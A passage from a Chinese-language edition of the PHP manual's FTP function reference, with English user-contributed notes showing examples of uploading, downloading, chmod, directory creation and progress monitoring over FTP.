//If you want to move or replicate the folder hierarchy from your current server to another remote server. Then this will be helpful as this will browse the current server's directory and at the same time it will copy that file in the remote server in the same directory.

//This script will copy all the files from this directory and subdirectory to another remote server via FTP

function rec_copy ($source_path, $destination_path, $con)
{
   ftp_mkdir($con, $destination_path);
   ftp_site($con, 'CHMOD 0777 '.$destination_path);
   ftp_chdir($con,$destination_path);

   if (is_dir($source_path))
   {
       chdir($source_path);
       $handle=opendir('.');
       while (($file = readdir($handle))!==false)
       {
           if (($file != ".") && ($file != ".."))
           {
               if (is_dir($file))
               {
                   // here i am restricting the folder name 'propertyimages' from being copied to remote server. -- VK
                   if($file != "propertyimages")
                   {
                       rec_copy ($source_path."/".$file, $file, $con);
                       chdir($source_path);
                       ftp_cdup($con);
                   }
               }
               if (is_file($file))
               {
                   $fp = fopen($file,"r");
                   // this will convert spaces to '_' so that it will not throw error.  -- VK
                   ftp_fput ($con, str_replace(" ", "_", $file), $fp,FTP_BINARY);
                   ftp_site($con, 'CHMOD 0755 '.str_replace(" ", "_", $file));
               }
           }
       }
       closedir($handle);
   }
}

// make a FTP connection --VK
$con = ftp_connect("69.18.213.131",21);
$login_result = ftp_login($con,"username","password");

// this is the root path for the remote server-- VK
$rootpath = "mainwebsite_html";

// this is the physical path of the source directory. actually u can also use the relative path. -- VK
$sourcepath = realpath("../")."/resdesk";

// this directory name will only change the top most directory and not the inner one -- VK
$destination_dir_name = "resdesk_".$account_id."/";

rec_copy ($sourcepath, $destination_dir_name, $con);
if (function_exists("ftp_close"))
{
   ftp_close($con);
}
?>
postmaster at alishomepage dot com
24-Oct-2003 07:06
Here's another FTP interface over PHP (also uses MySQL)

http://myftp.alishomepage.com

PS: this script will ALSO allow you to download its source... So it becomes interesting for YOU PROGRAMMERS as well :D
arjenjb dot wanadoo dot nl
10-Mar-2003 02:29
Check http://nanoftpd.sourceforge.net/ for a FTP server written in PHP.
Supports Passive and Active FTP, and all other standard FTP commands as decribed in RFC959.
NOSPAMkent at ioflux dot NOSPAM dot com
20-Sep-2002 08:05
I think what some other posts were trying to say which may need clarification is that in PHP 4.2.3, ftp_connect("myhost.com") was failing most of the time, except it would work like every few minutes.

The fix is that ftp_connect seems to have a bug resolving addresses. If you do:

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

It seems to solve the problem.
(Other users referred to an ftpbuf() error... not sure what that is, but this should fix it.)
sven at cartell-network dot de
14-Feb-2002 03:27
connection to a ftp server across proxy

$ftp_server = "proxy"; f.e. 123.456.789.10
$ftp_user_name = "username@ftpserver"; f.e. exampleuk@www.example.uk
$ftp_user_pass = "password";

$conn_id = ftp_connect($ftp_server, 2121);
$login_result = ftp_login( $conn_id, $ftp_user_name, $ftp_user_pass );
add a note add a note

后退 | 起点 | 前进
fbsql_warnings | 上一级 | ftp_alloc


ftp_alloc

(PHP 5)

ftp_alloc -- Allocates space for a file to be uploaded

说明

bool ftp_alloc ( resource ftp_stream, int filesize [, string &result] )

Sends an ALLO command to the remote FTP server to allocate space for a file to be uploaded.

注: Many FTP servers do not support this command. These servers may return a failure code (FALSE) indicating the command is not supported or a success code (TRUE) to indicate that pre-allocation is not necessary and the client should continue as though the operation were successful. Because of this, it may be best to reserve this function for servers which explicitly require preallocation.

参数

ftp_stream

The link identifier of the FTP connection.

filezise

The number of bytes to allocate.

return

A textual representation of the servers response will be returned by reference in result if a variable is provided.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. ftp_alloc() example

<?php

$file = "/home/user/myfile";

/* connect to the server */
$conn_id = ftp_connect('ftp.example.com');
$login_result = ftp_login($conn_id, 'anonymous', 'user@example.com');

if (ftp_alloc($conn_id, filesize($file), $result)) {
  echo "Space successfully allocated on server.  Sending $file.\n";
  ftp_put($conn_id, '/incomming/myfile', $file, FTP_BINARY);
} else {
  echo "Unable to allocate space on server.  Server said: $result\n";
}

ftp_close($conn_id);

?>

参见

ftp_put()
ftp_fput()

add a note add a note User Contributed Notes
adams[AT]techweavers[DOT]net
22-Jun-2005 05:32
This function is nice but like the ftp_size function it too has a flaw if your file is larger then 2.1Gb or 2.1 Billion Btyes it cannot be properly allocated.
add a note add a note

后退 | 起点 | 前进
FTP 函数 | 上一级 | ftp_cdup


ftp_cdup

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_cdup -- 切换到当前目录的父目录

说明

bool ftp_cdup ( resource ftp_stream )

切换目录至当前目录的父目录 (上级目录)。

如果成功则返回 TRUE，失败则返回 FALSE。

参见 ftp_chdir()。

add a note add a note User Contributed Notes
tom p
08-Dec-2005 08:01
I used a recursive cdup function until i realised i could navigate to the user's home directory from any location using ~:

<? ftp_chdir($connid, "~"); ?>
trukin at gmail dot com
19-Sep-2005 10:14
You can do this or use ftp_chdir() to change to the upper dir.

EJ:
<?
  ftp_chdir($connid,"..");
?>
add a note add a note

后退 | 起点 | 前进
ftp_alloc | 上一级 | ftp_chdir


ftp_chdir

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_chdir -- 在 FTP 服务器上切换当前目录

说明

bool ftp_chdir ( resource ftp_stream, string directory )

切换当前目录到参数 directory 指定的目录。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ftp_chdir() 例子

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
    die("FTP connection has failed !");
}

echo "Current directory : ", ftp_pwd($conn_id), "\n";

if (@ftp_chdir($conn_id, "somedir")) {
    echo "Current directory is now : ", ftp_pwd($conn_id), "\n";
} else {
    echo "Couldn't change directory\n";
}
?>

参见 ftp_cdup()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_cdup | 上一级 | ftp_chmod


ftp_chmod

(PHP 5)

ftp_chmod -- Set permissions on a file via FTP

说明

int ftp_chmod ( resource ftp_stream, int mode, string filename )

Sets the permissions on the specified remote file to mode.

参数

ftp_stream

The link identifier of the FTP connection.

mode

The new permissions, given as an octal value.

filename

The remote file.

返回值

Returns the new file permissions on success or FALSE on error.

范例

例子 1. ftp_chmod() example

<?php
$file = 'public_html/index.php';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to chmod $file to 644
if (ftp_chmod($conn_id, 0644, $file) !== false) {
echo "$file chmoded successfully to 644\n";
} else {
echo "could not chmod $file\n";
}

// close the connection
ftp_close($conn_id);
?>

参见

chmod()

add a note add a note User Contributed Notes
rabin at rab dot in
23-May-2006 06:21
As mentioned in the note below, the function posted by "hardy add mapscene dot com" works incorrectly if used with an octal mode, the way the php5 function is used.

This function works exactly like the the php5 one:

<?php
if (!function_exists('ftp_chmod')) {
   function ftp_chmod($ftp_stream, $mode, $filename)
   {
       return ftp_site($ftp_stream, sprintf('CHMOD %o %s', $mode, $filename));
   }
}
?>
add a note add a note

后退 | 起点 | 前进
ftp_chdir | 上一级 | ftp_close


ftp_close

(PHP 4 >= 4.2.0, PHP 5)

ftp_close -- 关闭一个活动的 FTP 连接

描述

void ftp_close ( resource ftp_stream )

ftp_close() 关闭一个由参数 ftp_stream 指定的连接并释放所占用的资源。使用此函数后你将不能再使用当前的 FTP 连接，如果要进行相关操作，必须再次使用 ftp_connect() 函数来建立一个新的连接。

参考函数 ftp_connect()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_chmod | 上一级 | ftp_connect


ftp_connect

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_connect -- 建立一个新的 FTP 连接

说明

resource ftp_connect ( string host [, int port [, int timeout]] )

如果成功返回一个连接标识，失败则返回 FALSE 。

ftp_connect() 打开一个 FTP 连接，参数 host 为要连接的服务器。host 后面不应以斜线结尾，前面也不需要用 ftp:// 开头。可选参数port 为要连接到的 FTP 器的端口号，如果设置为0，则会按照默认端口 21 连接。

可选参数 timeout 用来设置网络传输的超时时间限制。如果 FTP 服务器软件为 omitted，则默认的值为 90 秒。超时时间可以在任何时候通过函数 ftp_set_option() 及 ftp_get_option() 来改变或修改。

注: 参数 timeout 仅适用于 PHP 4.2.0 以上版本.

例子 1. ftp_connect() 例子

<?php

$ftp_server = "ftp.example.com";

// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

?>

参见 ftp_close() 和 ftp_ssl_connect()。

add a note add a note User Contributed Notes
brandon dot farber at gmail dot com
11-Oct-2005 03:06
In testing, I have been unable to establish any socket connections (including FTP connections) on shutdown.  This is important if you are trying to save the FTP transfer to run after the php script has been executed (using register_shutdown_function).  I am unaware of any configuration options that control this, and I have found this affects any socket connections I have tried to establish after shutdown.

The same code works fine if it is executed at runtime, rather than on shutdown.  Since I found no documentation of this behavior, I felt it important to note somewhere.  May also be useful if this was crosslinked to fsockopen comments as well.
rainer at justchords dot com
11-Nov-2003 07:07
Connecting through a firewall also depends on the type. This is an example for the Secure Gateway FTP. First you have to connect to the firewall, then open a session to the destination ftp server. This looks like this:

// Connect to firewall
$conn_id = ftp_connect("firewall.yournet.com");

// Open a session to an external ftp site
$login_result = ftp_login ($conn_id, "userid@externalhost.com", "password");

// Check open
if ((!$conn_id) || (!$login_result)) {
       echo "Ftp-connect failed!"; die;
   } else {
       echo "Connected.";
   }

// turn on passive mode transfers
ftp_pasv ($conn_id, true) ;

... and go on ...
thomas g.
04-Mar-2003 07:35
always keep an eye on the ftp_pasv function, if you are behind a firewall or nat'ed and your scripts won't do a listing or put files to the ftp
add a note add a note

后退 | 起点 | 前进
ftp_close | 上一级 | ftp_delete


ftp_delete

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_delete -- 删除 FTP 服务器上的一个文件

描述

bool ftp_delete ( resource ftp_stream, string path )

ftp_delete() 函数用来删除 FTP 服务器上的一个由参数 path 指定的的文件。

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
webmaster at iamsowonderful dot com
04-Apr-2005 01:37
You can make a script delete itself with ftp_delete!

It's pretty useful when creating an install script which you want to destroy at the end of the installation to prevent it from being run later.

On Linux machines, very often the user uploads third party scripts, and gets asked to CHMOD this and delete that manually because the webserver user is different from the FTP user ; make them enter their FTP info and get rid of the tedious file manipulation step!

Be careful, though. You will need to flush the output buffer and call ftp_delete at the end of the script, or else the script will die before it fully executes. Look up ob_end_flush for more info.
add a note add a note

后退 | 起点 | 前进
ftp_connect | 上一级 | ftp_exec


ftp_exec

(PHP 4 >= 4.0.3, PHP 5)

ftp_exec -- 请求运行一条 FTP 命令

说明

bool ftp_exec ( resource ftp_stream, string command )

发送一个 SITE EXEC command 请求到 FTP 服务器。如果成功（服务器发送响应代码 200）则返回 TRUE，否则返回 FALSE。

例子 1. ftp_exec() 例子

<?php
$command = 'ls -al';
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($res = ftp_exec($conn_id, $command)) {
    echo "$command executed successfully<br />\n";
    echo nl2br($res);
} else {
    echo 'could not execute ' . $command;
}
?>

参见 ftp_raw()。

add a note add a note User Contributed Notes
chris dot pittman at sonopress dot com
15-Sep-2005 09:34
I've been using the php ftp functions pretty extensively at work.  We've recently discovered that some of the ftp servers we connect to, paticularly in Europe, are using extended passive mode.  On a server using extended passive mode the php ftp functions will timeout.  For those of you who encounter this, the solution is to send the command:

ftp_exec (conn_id, 'epsv4 off' );

Do this immediately after ftp_login and you should be fine.
sam at totallydigital dot co dot nz
16-Dec-2003 05:34
A word of caution, execution via FTP isn't very widely supported.  Check that it works on the servers that you intend to connect to before you start coding something that requires this.
add a note add a note

后退 | 起点 | 前进
ftp_delete | 上一级 | ftp_fget


ftp_fget

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_fget -- 从 FTP 服务器上下载一个文件并保存到本地一个已经打开的文件中

说明

bool ftp_fget ( resource ftp_stream, resource handle, string remote_file, int mode [, int resumepos] )

ftp_fget() 函数用来下载由 remote_file 指定的文件，并写入到本地已经被打开的一个文件中。参数 handle 为本地已经打开的文件的句柄。传送模式参数 mode 必须是 (文本模式) FTP_ASCII 或 (二进制模式) FTP_BINARY 中的一个。

注: 参数 resumepos 仅适用于 PHP 4.3.0 以上版本.

如果成功则返回 TRUE，失败则返回 FALSE。

参见 ftp_get()，ftp_nb_get() 和 ftp_nb_fget()。

add a note add a note User Contributed Notes
rodrigo-rocha at oi dot net dot br
06-Sep-2002 10:56
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It's ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.
add a note add a note

后退 | 起点 | 前进
ftp_exec | 上一级 | ftp_fput


ftp_fput

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_fput -- 上传一个已经打开的文件到 FTP 服务器

说明

bool ftp_fput ( resource ftp_stream, string remote_file, resource handle, int mode [, int startpos] )

ftp_fput() 函数用来上传一个在已经打开的文件中的数据到 FTP 服务器，参数 handle 为所打开文件的句柄。参数 remote_file 为上传到服务器上的文件名。传输模式参数 mode 只能为 (文本模式) FTP_ASCII 或 (二进制模式) FTP_BINARY 其中的一个。

例子 1. ftp_fput() example

<?php

// open some file for reading
$file = 'somefile.txt';
$fp = fopen($file, 'r');

// connect to the server
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to upload the file
if(ftp_fput($conn_id, $file, $fp, FTP_ASCII)) {
    echo "Successfully uploaded $file\n";
} else {
    echo "There was a problem while uploading $file\n";
}

// close the connection and the file handler
ftp_close($conn_id);
fclose($fp);

?>

注: 参数 startpos 只适用于 4.3.0 以上版本。

如果成功则返回 TRUE，失败则返回 FALSE。

参见 ftp_put()，ftp_nb_fput() 和 ftp_nb_put()。

add a note add a note User Contributed Notes
info at daniel-marschall dot de
20-Apr-2006 03:04
This is a function i wrote to copy a complete directory to a FTP-Server-folder.

function ftp_uploaddirectory($conn_id, $local_dir, $remote_dir)
{
  @ftp_mkdir($conn_id, $remote_dir);
  $handle = opendir($local_dir);
  while (($file = readdir($handle)) !== false)
  {
   if (($file != '.') && ($file != '..'))
   {
     if (is_dir($local_dir.$file))
     {
       ftp_uploaddirectory($conn_id, $local_dir.$file.'/', $remote_dir.$file.'/');
     }
     else
       $f[] = $file;
   }
  }
  closedir($handle);
  if (count($f))
  {
   sort($f);
   @ftp_chdir($conn_id, $remote_dir);
   foreach ($f as $files)
   {
     $from = @fopen("$local_dir$files", 'r');
     @ftp_fput($conn_id, $files, $from, FTP_BINARY);
   }
  }
}

Example:

$conn_id = @ftp_connect($server);
@ftp_login ($conn_id, $username, $passwort);
ftp_uploaddirectory($conn_id, 'mydirectory/', 'theftpdirectory/');
@ftp_quit($conn_id);

I hope you'll find it useful.
BobFrank <rsfranc at yahoo dot com dot br>
24-Aug-2003 12:10
FTP upload server 2 server
<?php
$FTP_HOST ="ftp.br.geocities.com";
$FTP_USER ="bobfrank";
$FTP_PW  ="mypasswd";
$FTP_ROOT_DIR="/";
$LOCAL_SERVER_DIR  = "images/";
$FTP_DIR = "mydir/";
$handle=opendir($LOCAL_SERVER_DIR);
while (($file = readdir($handle))!==false)
{
   if(!is_dir($file)){
       $f[]="$file";
     }
}
closedir($handle);
sort($f);
$count=0;
$mode = FTP_BINARY; // or FTP_ASCII
$conn_id = ftp_connect($FTP_HOST);
if(ftp_login($conn_id, $FTP_USER, $FTP_PW)){
   print "from: ".$LOCAL_SERVER_DIR."<br>";
   print "to: ".$FTP_HOST.$FTP_ROOT_DIR.$FTP_DIR."<br>";
   ftp_pwd($conn_id);
   ftp_mkdir($conn_id,$FTP_DIR);
   ftp_chdir($conn_id,$FTP_DIR);
   foreach($f as $files) {
       $from = fopen($LOCAL_SERVER_DIR.$files,"r");
       if(ftp_fput($conn_id, $files, $from, $mode)){
           $count +=1;
           print $files."<br>";
       }
   }
   ftp_quit($conn_id);
}
print "upload : $count files.";
?>
darian lassan at yahoo de
05-Feb-2003 02:00
If you want to pass a string containing the filename as source and not a resource handle use ftp_put() instead. Trivial but not mentioned here.
add a note add a note

后退 | 起点 | 前进
ftp_fget | 上一级 | ftp_get_option


ftp_get_option

(PHP 4 >= 4.2.0, PHP 5)

ftp_get_option -- 返回当前 FTP 连接的各种不同的选项设置

说明

mixed ftp_get_option ( resource ftp_stream, int option )

如果成功则返回选项的值，否则，如果给定的参数 option 选项如果不被支持则返回 FALSE 同时会提示一条错误信息。

此函数会返回连接句柄为 ftp_stream，指定键值 option 的值，截止到目前，以下选项被支持:

表格 1. 支持 FTP 超时选项

FTP_TIMEOUT_SEC 返回当前设定的网络操作的超时时间。

例子 1. ftp_get_option() 实例

<?php
// Get the timeout of the given FTP stream
$timeout = ftp_get_option($conn_id, FTP_TIMEOUT_SEC);
?>

参见 ftp_set_option()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_fput | 上一级 | ftp_get


ftp_get

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_get -- 从 FTP 服务器上下载一个文件

说明

bool ftp_get ( resource ftp_stream, string local_file, string remote_file, int mode [, int resumepos] )

ftp_get() 函数用来下载 FTP 服务器上由 remote_file 参数指定的文件，并保存到由参数 local_file 指定的本地文件。传送模式参数 mode 只能为 (文本模式) FTP_ASCII 或 (二进制模式) FTP_BINARY 中的其中一个。

注: 参数 resumepos 仅在适用于 PHP 4.3.0 以上版本.

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ftp_get() 例子

<?php
// define some variables
$local_file = 'local.zip';
$server_file = 'server.zip';
// connect to the FTP server
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
// try to download
if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
    echo "Successfully written to $local_file\n";
} else {
    echo "There was a problem\n";
}
// close the connection
ftp_close($conn_id);
?>

参见 ftp_fget()，ftp_nb_get() 和 ftp_nb_fget()。

add a note add a note User Contributed Notes
corey-holzer at nyc dot rr dot com
23-Jan-2004 10:20
The zero size file is not a side effect.  When the ftp_get starts the first thing it does is to create the inode/file which it will stream the data too and that is a zero size file with the nname you specified for the local file.  When the download fails it leaves the file in place.
thivierr at telus dot net
23-Nov-2003 06:25
If you previously downloaded a file before (like a huge web log), and just want to get the remaining portion, do this:

$local_file_size = filesize($local_file_path);
$get_result = ftp_get($conn_id, $local_file_path, $remote_file_path, FTP_BINARY, $local_file_size);

This same code works regardless of wether the local file exists already or not.  You should first test to make sure the local file is not bigger than the remote file.
Logan
05-Sep-2003 08:21
If you want, you can save in any other directory in your hard disk, for example:

ftp_get($ftpstream, "C:\somefile.exe", "somefile.exe", FTP_BINARY);
phpnet at hostar dot com dot ar
10-Jun-2003 02:03
The file transferred will be saved in the folder where the ftp_get function is executed.
So, you will need the write permission in that folder.

In other way, you will obtain a "cant open local file" error.
ramiro at qusarcr dot com
06-Nov-2002 11:36
Keep in mind that ftp_get will overwrite the file on your local machine if it has the same name.
add a note add a note

后退 | 起点 | 前进
ftp_get_option | 上一级 | ftp_login


ftp_login

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_login -- 登录 FTP 服务器

说明

bool ftp_login ( resource ftp_stream, string username, string password )

使用用户名和密码登录入给定的 FTP 连接。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ftp_login() 例子

<?php
$ftp_server = "ftp.example.com";
$ftp_user = "foo";
$ftp_pass = "bar";

// set up a connection or die
$conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");

// try to login
if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
    echo "Connected as $ftp_user@$ftp_server\n";
} else {
    echo "Couldn't connect as $ftp_user\n";
}
?>

add a note add a note User Contributed Notes
Guibod
26-Oct-2004 04:37
ftp_login does not support ftp trough proxy authentication. So think about using the new PHP5 function ftp_raw() that's allow you to send directly FTP commands. ftp_raw() allow you to send commands prior to be connected (unlike ftp_exec()).

I've writen this piece of code that's allow you to connect through a "remoteid@remotehost proxyid" proxy.

<?php
function ftp_parse_response($response, &$errstr) {
   if(!is_array($response)) {
       $errstr    = 'Parameter \$response must be an array';
       return false;
   }

   foreach($response as $r) {
       $code    = substr(trim($r),0,3);

       if(!is_numeric($code)) {
           $errstr    = "$code is not a valid FTP code",$code);
       }

       if($code > 400) {
           $errstr    = $r;
           return false;
       }
   }

   return true;
}

$user = "user";
$pass = "password";
$host = "ftp.example.com";
$proxyuser = "proxyuser";
$proxypass = "proxypass";
$proxyhost = "ftp.proxy.com";

$conn_id = ftp_connect($proxyhost);

if(!$conn_id) {
   die("cannot connect to proxy");
}

$commands  = array(
   "USER ".$user."@".$host." ".$proxyuser,
   "PASS ".$pass,
   "PASS ".$proxypass
);

foreach($commands as $c) {
   $ret    = ftp_raw($conn_id,$c);

   //you can write your own ftp_parse_response func that
   //use an array of string as input
   if(!ftp_parse_response($ret,$errstr)) {
       ftp_close($conn_id);
       die("cannot login to $host");
   }
}

echo "ok, now connected";
?>
add a note add a note

后退 | 起点 | 前进
ftp_get | 上一级 | ftp_mdtm


ftp_mdtm

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_mdtm -- 返回指定文件的最后修改时间

说明

int ftp_mdtm ( resource ftp_stream, string remote_file )

ftp_mdtm() 检查指定文件的最后修改时间，并以 UNIX 时间戳的方式返回。如果发生错误，或文件不存在则返回 -1。

例子 1. ftp_mdtm() 例子

<?php
$file = 'somefile.txt';

// connect to the server
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

//  get the last modified time
$buff = ftp_mdtm($conn_id, $file);

if ($buff != -1) {
    // somefile.txt was last modified on: March 26 2003 14:16:41.
    echo "$file was last modified on : " . date ("F d Y H:i:s.", $buff);
} else {
    echo "Couldn't get mdtime";
}

// close the connection
ftp_close($conn_id);
?>

如果成功返回一个 UNIX 时间戳，否则返回 -1。

注: 某些 FTP 服务器可能会不支持这个特性。

注: ftp_mdtm() 函数不适用于检查目录。

add a note add a note User Contributed Notes
Jaytop
13-Jun-2005 03:51
Seems to work with directories as well on my Win32 box.
wseibert at hxcorp dot com
05-Nov-2004 04:55
When trying to get the modified time of a file that has spaces in it, ftp_mdtm will fail on some FTP servers.  If this happens, surround the file name with quotes.

$file_name = "my index.html";

$file_modtime = ftp_mdtm($connection, '"'.$file_name.'"')
add a note add a note

后退 | 起点 | 前进
ftp_login | 上一级 | ftp_mkdir


ftp_mkdir

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_mkdir -- 建立新目录

说明

string ftp_mkdir ( resource ftp_stream, string directory )

在 FTP 服务器上建立一个目录名为参数 directory 的新目录。

如果成功返回新建的目录名，否则返回 FALSE。

参见 ftp_rmdir()。

add a note add a note User Contributed Notes
vladimir at lukianov dot name
16-Mar-2004 02:28
For recurrent following function work better.
Some ftp servers (like WarFTP) become demented if you'll
try mkdir not from root dir and if path will be relative.
The second if one of dir (like '/') already exist You'll get access denied.

 function MkDir($path)
  {
   $dir=split("/", $path);
   $path="";
   $ret = true;

   for ($i=1;$i<count($dir);$i++)
   {
       $path.="/".$dir[$i];
       echo "$path\n";
       if(!@ftp_chdir($this->conn_id,$path)){
         @ftp_chdir($this->conn_id,"/");
         if(!@ftp_mkdir($this->conn_id,$path)){
         $ret=false;
         break;
         }
       }
   }
   return $ret;
  }
add a note add a note

后退 | 起点 | 前进
ftp_mdtm | 上一级 | ftp_nb_continue


ftp_nb_continue

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_continue -- 连续获取／发送文件（non-blocking）

说明

int ftp_nb_continue ( resource ftp_stream )

以不分块的方式连续获取／发送一个文件。

返回常量 FTP_FAILED 或 FTP_FINISHED 或 FTP_MOREDATA。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_mkdir | 上一级 | ftp_nb_fget


ftp_nb_fget

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_fget -- Retrieves a file from the FTP server and writes it to an open file (non-blocking)

说明

int ftp_nb_fget ( resource ftp_stream, resource handle, string remote_file, int mode [, int resumepos] )

ftp_nb_fget() retrieves a remote file from the FTP server.

The difference between this function and ftp_fget() is that this function retrieves the file asynchronously, so your program can perform other operations while the file is being downloaded.

参数

ftp_stream

The link identifier of the FTP connection.

handle

An open file pointer in which we store the data.

remote_file

The remote file path.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

resumepos

返回值

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

范例

例子 1. ftp_nb_fget() example

<?php

// open some file for reading
$file = 'index.php';
$fp = fopen($file, 'w');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// Initate the download
$ret = ftp_nb_fget($conn_id, $fp, $file, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue downloading...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}

// close filepointer
fclose($fp);
?>

参见

ftp_nb_get()
ftp_nb_continue()
ftp_fget()
ftp_get()

add a note add a note User Contributed Notes
pilif at pilif dot ch
16-Nov-2004 09:53
If you want to monitor the progress of the download, you may use the filesize()-Function.

But note: The results of said function are cached, so you'll always get 0 bytes. Call clearstatcache() before calling filesize() to determine the actual size of the downloaded file.

This may have performance implications, but if you want to provide the information, there's no way around it.

Above sample extended:

<?php
// get the size of the remote file
$fs = ftp_size($my_connection, "test");

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   clearstatcache(); // <- this is important
   $dld = filesize($locfile);
   if ( $dld > 0 ){
       // calculate percentage
       $i = ($dld/$fs)*100;
       printf("\r\t%d%% downloaded", $i);
   }

   // Continue downloading...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Philip
add a note add a note

后退 | 起点 | 前进
ftp_nb_continue | 上一级 | ftp_nb_fput


ftp_nb_fput

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_fput -- Stores a file from an open file to the FTP server (non-blocking)

说明

int ftp_nb_fput ( resource ftp_stream, string remote_file, resource handle, int mode [, int startpos] )

ftp_nb_fput() uploads the data from a file pointer to a remote file on the FTP server.

The difference between this function and the ftp_fput() is that this function uploads the file asynchronously, so your program can perform other operations while the file is being uploaded.

参数

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file path.

handle

An open file pointer on the local file. Reading stops at end of file.

mode

The transfer mode. Must be either FTP_ASCII or FTP_BINARY.

startpos

返回值

Returns FTP_FAILED or FTP_FINISHED or FTP_MOREDATA.

范例

例子 1. ftp_nb_fput() example

<?php

$file = 'index.php';

$fp = fopen($file, 'r');

$conn_id = ftp_connect($ftp_server);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// Initate the upload
$ret = ftp_nb_fput($conn_id, $file, $fp, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // Do whatever you want
   echo ".";

   // Continue upload...
   $ret = ftp_nb_continue($conn_id);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error uploading the file...";
   exit(1);
}

fclose($fp);
?>

参见

ftp_nb_put()
ftp_nb_continue()
ftp_put()
ftp_fput()

add a note add a note User Contributed Notes
jascha at bluestatedigital dot com
28-Dec-2004 10:45
There is an easy way to check progress while uploading a file.  Just use the ftell function to watch the position in the file handle.  ftp_nb_fput will increment the position as the file is transferred.

Example:

<?

   $fh = fopen ($file_name, "r");
   $ret = ftp_nb_fput ($ftp, $file_name, $fh, FTP_BINARY);
   while ($ret == FTP_MOREDATA) {
       print ftell ($fh)."\n";
       $ret = ftp_nb_continue($ftp);
   }
   if ($ret != FTP_FINISHED) {
       print ("error uploading\n");
       exit(1);
   }
   fclose($fh);

?>

This will print out the number of bytes transferred thus far, every time the loop runs.  Coverting this into a percentage is simply a matter of dividing the number of bytes transferred by the total size of the file.
pain at ziodex dot com
06-Dec-2004 03:44
While trying to create a progress bar for uploading files with the ftp_nb_fput() function
I've noticed that the ftp_size() function will not work during the upload  progess if you are using the
same resource handle.

<?php
   // This will not work
   // ...
   $ret = ftp_nb_fput($conn_id, $remote_file, $fp, FTP_BINARY);
   while ($ret == FTP_MOREDATA) {
       // ...
       $remote_file_size = ftp_size($conn_id, $remote_file);
       // ...
       $ret = ftp_nb_continue($conn_id);
   }
   // ...
?>

However, by creating a new connection to the server you can retrieve current file size of the uploaded file, then
compare it with your local file to calculate the progress. A full example follows:

<?php
   ob_end_flush();
   $remote_file = 'remote.txt';
   $local_file = 'local.txt';

   $fp = fopen($local_file, 'r');
   $conn_id = ftp_connect($ftp_server);
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
   $ret = ftp_nb_fput($conn_id, $remote_file, $fp, FTP_BINARY);
   while ($ret == FTP_MOREDATA) {
       // Establish a new connection to FTP server
       if(!isset($conn_id2)) {
           $conn_id2 = ftp_connect($ftp_server);
           $login_result2 = ftp_login($conn_id2, $ftp_user_name, $ftp_user_pass);
       }

       // Retreive size of uploaded file.
       if(isset($conn_id2)) {
           clearstatcache(); // <- this must be included!!
           $remote_file_size = ftp_size($conn_id2, $remote_file);
       }

       // Calculate upload progress
       $local_file_size  = filesize($local_file);
       if (isset($remote_file_size) && $remote_file_size > 0 ){
